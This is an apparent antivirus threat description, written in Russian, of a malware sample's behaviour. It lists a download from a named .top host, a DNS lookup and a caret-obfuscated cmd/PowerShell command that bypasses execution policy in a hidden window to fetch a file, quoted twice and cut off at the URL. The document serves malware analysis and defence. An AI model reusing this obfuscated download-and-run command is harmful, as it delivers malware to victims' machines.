Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://mondayhelthc.top/read.php?f=404 как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "p^Ow^e^RShe^L^l.exe -^EXe^Cut^I^oN^POL^i^CY bYpaSs ^-N^OprO^F^I^le ^-^W^inD^OwsT^ylE ^HId^Den (nEW^-OBJeC^T^ SYs^tem.^Ne^t.WebCL^i^EN^t).do^Wn^l^oad^F^IlE('http://mondayhelthc....
Сетевая активность
UDP
- DNS ASK mo####helthc.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "p^Ow^e^RShe^L^l.exe -^EXe^Cut^I^oN^POL^i^CY bYpaSs ^-N^OprO^F^I^le ^-^W^inD^OwsT^ylE ^HId^Den (nEW^-OBJeC^T^ SYs^tem.^Ne^t.WebCL^i^EN^t).do^Wn^l^oad^F^IlE('http://mondayhelthc....' (со скрытым окном)
